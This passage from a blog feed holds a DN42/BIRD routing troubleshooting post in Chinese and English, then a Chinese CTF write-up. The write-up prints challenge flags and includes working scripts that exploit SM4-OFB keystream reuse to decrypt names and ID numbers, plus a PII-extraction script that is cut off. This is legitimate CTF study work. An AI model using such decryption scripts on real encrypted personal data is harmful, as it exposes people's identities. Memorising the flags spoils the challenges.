+           if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP;
            accept;
        };
    };
}

protocol kernel kernel_v6 {
    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
+           if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6;
            accept;
        };
    };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;关于&lt;code&gt;krt_prefsrc&lt;/code&gt;，其含义是&lt;strong&gt;Kernel Route Preferred Source&lt;/strong&gt;。这个属性并非直接操作路由，而是为路由附加一个&lt;strong&gt;元数据&lt;/strong&gt;，它直接告诉 Linux 内核：&lt;strong&gt;当通过这条路由发送数据包时，应优先使用这里指定的 IP 地址作为源地址&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在这里卡了好久的说&lt;/p&gt;
&lt;h1&gt;解决方案&lt;/h1&gt;
&lt;p&gt;最终，某次无意间尝试给OSPF的导出配置中也加上了&lt;code&gt;krt_prefsrc&lt;/code&gt;改写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol ospf v3 dn42_ospf_iyoroynet_v4 {
    router id DN42_OWNIP;
    ipv4 {
-       import where is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP;
+       import filter {
+           if is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP then {
+               krt_prefsrc=DN42_OWNIP;
+               accept;
+           }
+           reject;
+       };
        export where is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};

protocol ospf v3 dn42_ospf_iyoroynet_v6 {
    router id DN42_OWNIP;
    ipv6 {
-       import where is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
+       import filter {
+           if is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP then {
+               krt_prefsrc=DN42_OWNIPv6;
+               accept;
+           }
+           reject;
+       };
        export where is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后再运行发现src地址正确了，互相Ping也都能通。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;配置文件可参考：&lt;a href=&quot;https://github.com/KaguraiYoRoy/Bird2-Configuration/tree/main/hkg-cn&quot;&gt;KaguraiYoRoy/Bird2-Configuration&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>DN42&amp;OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment</title><link>https://blog.iyoroy.cn/posts/en-208/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-208/</guid><description>Troubleshooting failed pings between DN42 nodes after combining DN42 and clearnet routes, using ip route get to spot the wrong source address and adjusting BIRD&apos;s krt_prefsrc.</description><pubDate>Wed, 29 Oct 2025 12:42:00 GMT</pubDate><content:encoded>&lt;h1&gt;Backstory&lt;/h1&gt;
&lt;p&gt;As mentioned in the previous post of this series, because the VRF solution was too isolating, the DNS service I deployed on the HKG node (172.20.234.225) became inaccessible from the DN42 network. Research indicated this could be achieved by setting up veth or NAT forwarding, but due to the scarcity of available documentation, I ultimately abandoned the VRF approach.&lt;/p&gt;
&lt;h1&gt;Structure Analysis&lt;/h1&gt;
&lt;p&gt;This time, I planned to place both DN42 and clearnet BGP routes into the system&apos;s main routing table, then separate them for export using filters to distinguish which should be exported. For clarity, I stored the configuration for the DN42 part and the clearnet part (hereinafter referred to as inet) separately, and then included them from the main configuration file. Also, since there should ideally only be one kernel configuration per routing table, I merged the DN42 and inet kernel parts, keeping only one instance.&lt;/p&gt;
&lt;p&gt;After multiple optimizations and revisions, my final directory structure is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/bird/
├─envvars
├─bird.conf: Main Bird config file, defines basic info (ASN, IP, etc.), includes sub-configs below
├─kernel.conf: Kernel config, imports routes into the system routing table
├─dn42
|  ├─defs.conf: DN42 function definitions, e.g., is_self_dn42_net()
|  ├─ibgp.conf: DN42 iBGP template
|  ├─rpki.conf: DN42 RPKI route validation
|  ├─ospf.conf: DN42 OSPF internal network
|  ├─static.conf: DN42 static routes
|  ├─ebgp.conf: DN42 Peer template
|  ├─ibgp
|  |  └&amp;lt;ibgp configs&amp;gt;: DN42 iBGP configs for each node
|  ├─ospf
|  |  └backbone.conf: OSPF area
|  ├─peers
|  |  └&amp;lt;ibgp configs&amp;gt;: DN42 Peer configs for each node
├─inet
|  ├─peer.conf: Clearnet Peer
|  ├─ixp.conf: Clearnet IXP connection
|  ├─defs.conf: Clearnet function definitions, e.g., is_self_inet_v6()
|  ├─upstream.conf: Clearnet upstream
|  └static.conf: Clearnet static routes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I separated the function definitions because I needed to reference them in the filters within &lt;code&gt;kernel.conf&lt;/code&gt;, so I isolated them for early inclusion.&lt;/p&gt;
&lt;p&gt;After filling in the respective configurations and setting up the include relationships, I ran &lt;code&gt;birdc configure&lt;/code&gt; and it started successfully. So, case closed... right?&lt;/p&gt;
&lt;h1&gt;Problems occurred&lt;/h1&gt;
&lt;p&gt;After running for a while, I suddenly found that I couldn&apos;t ping the HKG node from my internal devices, nor could I ping my other internal nodes from the HKG node. Strangely, external ASes could ping my other nodes or other external ASes through my HKG node, and my internal nodes could also ping other non-directly connected nodes (e.g., 226(NKG)-&amp;gt;225(HKG)-&amp;gt;229(LAX)) via the HKG node.&lt;br /&gt;
Using &lt;code&gt;ip route get &amp;lt;other internal node address&amp;gt;&lt;/code&gt; revealed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226
172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0
    cache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See the problem? The src address should have been the HKG node&apos;s own DN42 address (configured on the OSPF stub interface), but here it showed the HKG node&apos;s clearnet address instead.&lt;br /&gt;
Attempting to read the route learned by Bird using &lt;code&gt;birdc s r for 172.20.234.226&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226
BIRD 2.17.1 ready.
Table master4:
172.20.234.226/32    unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226]
        via 172.20.234.226 on dn42_nkg onlink
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks seemingly normal...?&lt;br /&gt;
Theoretically, although the DN42 source IP is different from the usual, DN42 rewrites &lt;code&gt;krt_prefsrc&lt;/code&gt; when exporting to the kernel to inform the kernel of the correct source address, so this issue shouldn&apos;t occur:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol kernel kernel_v4{  
    ipv4 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
+           if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP;
            accept;
        };
    };
}

protocol kernel kernel_v6 {
    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
+           if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6;
            accept;
        };
    };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Regarding &lt;code&gt;krt_prefsrc&lt;/code&gt;, it stands for &lt;strong&gt;Kernel Route Preferred Source&lt;/strong&gt;. This attribute doesn&apos;t manipulate the route directly but instead attaches a piece of &lt;strong&gt;metadata&lt;/strong&gt; to it. &lt;strong&gt;This metadata directly instructs the Linux kernel to prioritize the specified IP address as the source address for packets sent via this route&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I was stuck on this for a long time.&lt;/p&gt;
&lt;h1&gt;The Solution&lt;/h1&gt;
&lt;p&gt;Finally, during an unintentional attempt, I added the &lt;code&gt;krt_prefsrc&lt;/code&gt; rewrite to the OSPF import configuration as well:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol ospf v3 dn42_ospf_iyoroynet_v4 {
    router id DN42_OWNIP;
    ipv4 {
-       import where is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP;
+       import filter {
+           if is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP then {
+               krt_prefsrc=DN42_OWNIP;
+               accept;
+           }
+           reject;
+       };
        export where is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};

protocol ospf v3 dn42_ospf_iyoroynet_v6 {
    router id DN42_OWNIP;
    ipv6 {
-       import where is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
+       import filter {
+           if is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP then {
+               krt_prefsrc=DN42_OWNIPv6;
+               accept;
+           }
+           reject;
+       };
        export where is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After running this, the src address became correct, and mutual pinging worked.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Configuration files for reference: &lt;a href=&quot;https://github.com/KaguraiYoRoy/Bird2-Configuration/tree/main/hkg-cn&quot;&gt;KaguraiYoRoy/Bird2-Configuration&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>2025羊城杯初赛WriteUp</title><link>https://blog.iyoroy.cn/posts/207/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/207/</guid><description>2025 羊城杯初赛的五道题解，记录 Godot 游戏逆向、SM4-OFB 密钥流复用、数据提取和 Pickle 反序列化等题目的分析过程与脚本。</description><pubDate>Sun, 12 Oct 2025 02:50:00 GMT</pubDate><content:encoded>&lt;h1&gt;GD1&lt;/h1&gt;
&lt;p&gt;通过文件描述可知这是Godot Engine编写的游戏。使用GDRE工具打开，可找到游戏逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;extends Node

@export var mob_scene: PackedScene
var score
var a = &quot;000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101&quot;

func _ready():

    pass



func _process(delta: float) -&amp;gt; void :
    pass


func game_over():
    $ScoreTimer.stop()
    $MobTimer.stop()
    $HUD.show_game_over()

func new_game():
    score = 0
    $Player.start($StartPosition.position)
    $StartTimer.start()
    $HUD.update_score(score)
    $HUD.show_message(&quot;Get Ready&quot;)
    get_tree().call_group(&quot;mobs&quot;, &quot;queue_free&quot;)

func _on_mob_timer_timeout():

    var mob = mob_scene.instantiate()


    var mob_spawn_location = $MobPath / MobSpawnLocation
    mob_spawn_location.progress_ratio = randf()


    var direction = mob_spawn_location.rotation + PI / 2


    mob.position = mob_spawn_location.position


    direction += randf_range( - PI / 4, PI / 4)
    mob.rotation = direction


    var velocity = Vector2(randf_range(150.0, 250.0), 0.0)
    mob.linear_velocity = velocity.rotated(direction)


    add_child(mob)


func _on_score_timer_timeout():
    score += 1
    $HUD.update_score(score)
    if score == 7906:
        var result = &quot;&quot;
        for i in range(0, a.length(), 12):
            var bin_chunk = a.substr(i, 12)
            var hundreds = bin_chunk.substr(0, 4).bin_to_int()
            var tens = bin_chunk.substr(4, 4).bin_to_int()
            var units = bin_chunk.substr(8, 4).bin_to_int()
            var ascii_value = hundreds * 100 + tens * 10 + units
            result += String.chr(ascii_value)
        $HUD.show_message(result)

func _on_start_timer_timeout():
    $MobTimer.start()
    $ScoreTimer.start()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现当得分到达7906时会调用一个解密算法，将数组&lt;code&gt;a&lt;/code&gt;的数据解密然后打印。尝试按照逻辑编写解密程序：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;bitset&amp;gt;

using namespace std;

int bin_to_int(const string &amp;amp;bin) {
    return stoi(bin, nullptr, 2);
}

string decodeBinaryString(const string &amp;amp;a) {
    string result;
    for (size_t i = 0; i + 12 &amp;lt;= a.length(); i += 12) {
        string bin_chunk = a.substr(i, 12);
        int hundreds = bin_to_int(bin_chunk.substr(0, 4));
        int tens     = bin_to_int(bin_chunk.substr(4, 4));
        int units    = bin_to_int(bin_chunk.substr(8, 4));
        int ascii_value = hundreds * 100 + tens * 10 + units;
        result.push_back(static_cast&amp;lt;char&amp;gt;(ascii_value));
    }
    return result;
}

int main() {
    string a = &quot;000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101&quot;;
    cout &amp;lt;&amp;lt; decodeBinaryString(a) &amp;lt;&amp;lt; endl;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行，得到Flag：&lt;code&gt;DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;成功男人背后的女人&lt;/h1&gt;
&lt;p&gt;打开附件发现是一个图片，根据提示，猜测可能存在隐藏的图片或者其他内容。尝试使用binwalk、foremost都无果。最后查询资料可知用了Adobe Fireworks专有的协议，尝试打开即可发现隐藏图像：
&lt;img src=&quot;./images/2025/10/877303021.png&quot; alt=&quot;成功男人背后的女人-1.png&quot; /&gt;
将下方的符号按照二进制的方式组合得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;01000100010000010101001101000011
01010100010001100111101101110111
00110000011011010100010101001110
01011111011000100110010101101000
00110001011011100100010001011111
01001101010001010110111001111101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8个一组解码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
using namespace std;
int main(){
    string str=&quot;010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101&quot;;
    for(int i=0;i&amp;lt;str.length();i+=8){
        cout&amp;lt;&amp;lt;(char)stoi(str.substr(i,8).c_str(),nullptr,2);
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行得到：&lt;code&gt;DASCTF{w0mEN_beh1nD_MEn}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;SM4-OFB&lt;/h1&gt;
&lt;p&gt;让AI分析一下加密过程并编写解密脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下）
# 代码会：
# 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始）
# 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码）
#
# 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点）
# 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

def xor_bytes(a,b):
    return bytes(x^y for x,y in zip(a,b))

# record1 已知明文与密文（用户提供）
record1 = {
    &quot;name_plain&quot;: &quot;蒋宏玲&quot;.encode(&apos;utf-8&apos;),
    &quot;name_cipher_hex&quot;: &quot;cef18c919f99f9ea19905245fae9574e&quot;,
    &quot;phone_plain&quot;: &quot;17145949399&quot;.encode(&apos;utf-8&apos;),
    &quot;phone_cipher_hex&quot;: &quot;17543640042f2a5d98ae6c47f8eb554c&quot;,
    &quot;id_plain&quot;: &quot;220000197309078766&quot;.encode(&apos;utf-8&apos;),
    &quot;id_cipher_hex&quot;: &quot;1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c&quot;,
    &quot;iv_hex&quot;: &quot;6162636465666768696a6b6c6d6e6f70&quot;
}

# record2 仅密文（用户提供）
record2 = {
    &quot;name_cipher_hex&quot;: &quot;c0ffb69293b0146ea19d5f48f7e45a43&quot;,
    &quot;phone_cipher_hex&quot;: &quot;175533440427265293a16447f8eb554c&quot;,
    &quot;id_cipher_hex&quot;: &quot;1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c&quot;,
    &quot;iv_hex&quot;: &quot;6162636465666768696a6b6c6d6e6f70&quot;
}

BS = 16  # 分组长度

# 工具：把字段按 16 字节块切分
def split_blocks(b):
    return [b[i:i+BS] for i in range(0, len(b), BS)]

# 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR）
ks_blocks = {&quot;name&quot;: [], &quot;phone&quot;: [], &quot;id&quot;: []}

# name
C_name = unhexlify(record1[&quot;name_cipher_hex&quot;])
P_name_padded = pad(record1[&quot;name_plain&quot;], BS)
for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)):
    ks_blocks[&quot;name&quot;].append(xor_bytes(c, p))

# phone
C_phone = unhexlify(record1[&quot;phone_cipher_hex&quot;])
P_phone_padded = pad(record1[&quot;phone_plain&quot;], BS)
for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)):
    ks_blocks[&quot;phone&quot;].append(xor_bytes(c, p))

# id (可能为两块)
C_id = unhexlify(record1[&quot;id_cipher_hex&quot;])
P_id_padded = pad(record1[&quot;id_plain&quot;], BS)
for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)):
    ks_blocks[&quot;id&quot;].append(xor_bytes(c, p))

print(&quot;Derived keystream blocks (hex):&quot;)
for field, blks in ks_blocks.items():
    print(field, [b.hex() for b in blks])

# 2) 使用上述 keystream 去解 record2 相应字段
def recover_field(cipher_hex, ks_list):
    C = unhexlify(cipher_hex)
    blocks = split_blocks(C)
    recovered_padded = b&apos;&apos;.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list))
    # 尝试去除填充并解码
    try:
        recovered = unpad(recovered_padded, BS).decode(&apos;utf-8&apos;)
    except Exception as e:
        recovered = None
    return recovered, recovered_padded

name_rec, name_padded = recover_field(record2[&quot;name_cipher_hex&quot;], ks_blocks[&quot;name&quot;])
phone_rec, phone_padded = recover_field(record2[&quot;phone_cipher_hex&quot;], ks_blocks[&quot;phone&quot;])
id_rec, id_padded = recover_field(record2[&quot;id_cipher_hex&quot;], ks_blocks[&quot;id&quot;])

print(&quot;\nRecovered (if OFB with same IV/key and per-field restart):&quot;)
print(&quot;Name padded bytes (hex):&quot;, name_padded.hex())
print(&quot;Name plaintext:&quot;, name_rec)
print(&quot;Phone padded bytes (hex):&quot;, phone_padded.hex())
print(&quot;Phone plaintext:&quot;, phone_rec)
print(&quot;ID padded bytes (hex):&quot;, id_padded.hex())
print(&quot;ID plaintext:&quot;, id_rec)

# 如果解码失败，打印原始 bytes 以便人工分析
# if name_rec is None:
#     print(&quot;\nName padded bytes (raw):&quot;, name_padded)
# if phone_rec is None:
#     print(&quot;Phone padded bytes (raw):&quot;, phone_padded)
# if id_rec is None:
#     print(&quot;ID padded bytes (raw):&quot;, id_padded)

# 结束
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现能够计算得到姓名和身份证号，再将Excel表中所有人名dump出来放到txt里，让AI写个脚本批量计算：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and
one known plaintext/ciphertext pair is available (from record1).

This script:
 - Reads an input file (one hex-encoded cipher per line).
 - Uses the known record1 name plaintext &amp;amp; ciphertext to derive the OFB keystream
   blocks for the name-field (keystream = C XOR P_padded).
 - XORs each input cipher with the derived keystream blocks to recover plaintext,
   removes PKCS#7 padding if present, and prints a line containing:
       &amp;lt;recovered_name&amp;gt;\t&amp;lt;cipher_hex&amp;gt;

Usage:
    python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt

Notes:
 - This assumes each name was encrypted as a separate field starting OFB from
   the same IV (so keystream blocks align for the name-field) and PKCS#7 padding
   was used before encryption. If names exceed the number of derived keystream
   blocks the script will attempt to reuse the keystream cyclically (warns about it),
   but ideally you should supply a longer known plaintext/ciphertext pair to
   derive more keystream blocks.
 - Requires pycryptodome for padding utilities:
       pip install pycryptodome

Edit the KNOWN_* constants below if your known record1 values differ.
&quot;&quot;&quot;

import sys
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

# -----------------------
# ----- KNOWN VALUES ----
# -----------------------
# These are taken from the CTF prompt / earlier messages. Change them if needed.
KNOWN_NAME_PLAIN = &quot;蒋宏玲&quot;  # record1 known plaintext for name field
KNOWN_NAME_CIPHER_HEX = &quot;cef18c919f99f9ea19905245fae9574e&quot;  # record1 name ciphertext hex
IV_HEX = &quot;6162636465666768696a6b6c6d6e6f70&quot;  # the IV column (fixed)

# Block size for SM4 (16 bytes)
BS = 16

# -----------------------
# ----- Helpers ---------
# -----------------------

def xor_bytes(a: bytes, b: bytes) -&amp;gt; bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def split_blocks(b: bytes, bs: int = BS):
    return [b[i:i+bs] for i in range(0, len(b), bs)]


# -----------------------
# ----- Derive keystream from the known pair
# -----------------------

def derive_keystream_from_known(known_plain: str, known_cipher_hex: str):
    p = known_plain.encode(&apos;utf-8&apos;)
    c = unhexlify(known_cipher_hex)
    p_padded = pad(p, BS)
    p_blocks = split_blocks(p_padded)
    c_blocks = split_blocks(c)
    if len(p_blocks) != len(c_blocks):
        raise ValueError(&apos;Known plaintext/cipher block count mismatch&apos;)
    ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)]
    return ks_blocks


# -----------------------
# ----- Recovery --------
# -----------------------

def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks):
    c = unhexlify(cipher_hex.strip())
    c_blocks = split_blocks(c)
    # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically
    if len(c_blocks) &amp;gt; len(ks_blocks):
        print(&quot;[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically&quot; % (len(c_blocks), len(ks_blocks)), file=sys.stderr)
    recovered_blocks = []
    for i, cb in enumerate(c_blocks):
        ks = ks_blocks[i % len(ks_blocks)]
        recovered_blocks.append(xor_bytes(cb, ks))
    recovered_padded = b&apos;&apos;.join(recovered_blocks)
    # Try to unpad and decode; if fails, return hex of raw bytes
    try:
        recovered = unpad(recovered_padded, BS).decode(&apos;utf-8&apos;)
    except Exception:
        try:
            recovered = recovered_padded.decode(&apos;utf-8&apos;)
        except Exception:
            recovered = &apos;&amp;lt;raw:&apos; + recovered_padded.hex() + &apos;&amp;gt;&apos;
    return recovered


# -----------------------
# ----- Main -----------
# -----------------------

def main():
    if len(sys.argv) != 2:
        print(&apos;Usage: python3 sm4_ofb_batch_decrypt_names.py &amp;lt;names_cipher_file&amp;gt;&apos;, file=sys.stderr)
        sys.exit(2)
    inpath = sys.argv[1]

    ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX)

    with open(inpath, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
        for lineno, line in enumerate(f, 1):
            line = line.strip()
            if not line:
                continue
            # Assume each line is one hex-encoded name ciphertext (no spaces)
            try:
                recovered = recover_name_from_cipher_hex(line, ks_blocks)
            except Exception as e:
                recovered = &apos;&amp;lt;error: %s&amp;gt;&apos; % str(e)
            print(f&quot;{recovered}\t{line}&quot;)


if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;搜索，发现与&lt;code&gt;何浩璐&lt;/code&gt;对应的密文是&lt;code&gt;c2de929284bff9f63b905245fae9574e&lt;/code&gt;，再去Excel里搜这串密文对应的身份证号的密文，得到：&lt;code&gt;1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c&lt;/code&gt;，再用上面那个脚本解出来：&lt;code&gt;120000197404101676&lt;/code&gt;，计算md5：&lt;code&gt;fbb80148b75e98b18d65be446f505fcc&lt;/code&gt;即为Flag。&lt;/p&gt;
&lt;h1&gt;dataIdSort&lt;/h1&gt;
&lt;p&gt;将需求丢给AI，让AI写了个脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# coding: utf-8
&quot;&quot;&quot;
功能：
- 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。
- 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。
- 所有匹配项均保留原始格式，并输出到 output.csv 文件中。
&quot;&quot;&quot;

import re
import csv
from datetime import datetime

# ------------------- 配置 -------------------
INPUT_FILE = &quot;data.txt&quot;
OUTPUT_FILE = &quot;output.csv&quot;
DEBUG = False  # 设置为 True 以在控制台打印详细的接受/拒绝日志

# 手机号前缀白名单
ALLOWED_MOBILE_PREFIXES = {
    &quot;134&quot;, &quot;135&quot;, &quot;136&quot;, &quot;137&quot;, &quot;138&quot;, &quot;139&quot;, &quot;147&quot;, &quot;148&quot;, &quot;150&quot;, &quot;151&quot;, &quot;152&quot;, &quot;157&quot;, &quot;158&quot;, &quot;159&quot;,
    &quot;172&quot;, &quot;178&quot;, &quot;182&quot;, &quot;183&quot;, &quot;184&quot;, &quot;187&quot;, &quot;188&quot;, &quot;195&quot;, &quot;198&quot;, &quot;130&quot;, &quot;131&quot;, &quot;132&quot;, &quot;140&quot;, &quot;145&quot;,
    &quot;146&quot;, &quot;155&quot;, &quot;156&quot;, &quot;166&quot;, &quot;167&quot;, &quot;171&quot;, &quot;175&quot;, &quot;176&quot;, &quot;185&quot;, &quot;186&quot;, &quot;196&quot;, &quot;133&quot;, &quot;149&quot;, &quot;153&quot;,
    &quot;173&quot;, &quot;174&quot;, &quot;177&quot;, &quot;180&quot;, &quot;181&quot;, &quot;189&quot;, &quot;190&quot;, &quot;191&quot;, &quot;193&quot;, &quot;199&quot;
}
# ---------------------------------------------


# ------------------- 校验函数 -------------------

def luhn_check(digits: str) -&amp;gt; bool:
    &quot;&quot;&quot;对数字字符串执行Luhn算法校验。&quot;&quot;&quot;
    s = 0
    alt = False
    for char in reversed(digits):
        d = int(char)
        if alt:
            d *= 2
            if d &amp;gt; 9:
                d -= 9
        s += d
        alt = not alt
    return s % 10 == 0

def is_valid_id(raw: str):
    &quot;&quot;&quot;校验身份证号的有效性（长度、格式、出生日期、校验码）。&quot;&quot;&quot;
    sep_pattern = r&apos;[\s\-\u00A0\u3000\u2013\u2014]&apos;
    s = re.sub(sep_pattern, &apos;&apos;, raw)
    
    if len(s) != 18 or not re.match(r&apos;^\d{17}[0-9Xx]$&apos;, s):
        return False, &quot;无效的格式或长度&quot;
    
    try:
        birth_date = datetime.strptime(s[6:14], &quot;%Y%m%d&quot;)
        if not (1900 &amp;lt;= birth_date.year &amp;lt;= datetime.now().year):
            return False, f&quot;无效的出生年份: {birth_date.year}&quot;
    except ValueError:
        return False, &quot;无效的出生日期&quot;

    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check_map = [&apos;1&apos;, &apos;0&apos;, &apos;X&apos;, &apos;9&apos;, &apos;8&apos;, &apos;7&apos;, &apos;6&apos;, &apos;5&apos;, &apos;4&apos;, &apos;3&apos;, &apos;2&apos;]
    
    total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights))
    expected_check = check_map[total % 11]
    
    if s[17].upper() != expected_check:
        return False, f&quot;校验码不匹配: 期望值 {expected_check}&quot;
        
    return True, &quot;&quot;

def is_valid_phone(raw: str) -&amp;gt; bool:
    &quot;&quot;&quot;校验手机号的有效性（长度和号段）。&quot;&quot;&quot;
    digits = re.sub(r&apos;\D&apos;, &apos;&apos;, raw)
    if digits.startswith(&quot;86&quot;) and len(digits) &amp;gt; 11:
        digits = digits[2:]
    
    return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES

def is_valid_bankcard(raw: str) -&amp;gt; bool:
    &quot;&quot;&quot;校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。&quot;&quot;&quot;
    if not (16 &amp;lt;= len(raw) &amp;lt;= 19 and raw.isdigit()):
        return False
    return luhn_check(raw)

def is_valid_ip(raw: str) -&amp;gt; bool:
    &quot;&quot;&quot;校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。&quot;&quot;&quot;
    parts = raw.split(&apos;.&apos;)
    if len(parts) != 4:
        return False
    # 检查是否存在无效部分，如 &apos;01&apos;
    if any(len(p) &amp;gt; 1 and p.startswith(&apos;0&apos;) for p in parts):
        return False
    return all(p.isdigit() and 0 &amp;lt;= int(p) &amp;lt;= 255 for p in parts)

def is_valid_mac(raw: str) -&amp;gt; bool:
    &quot;&quot;&quot;校验MAC地址的有效性。&quot;&quot;&quot;
    # 正则表达式已经非常严格，这里仅做最终确认
    return re.fullmatch(r&apos;([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}&apos;, raw, re.IGNORECASE) is not None

# ------------------- 正则表达式定义 -------------------

# 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。
# 1. MAC地址：格式明确，使用冒号分隔。
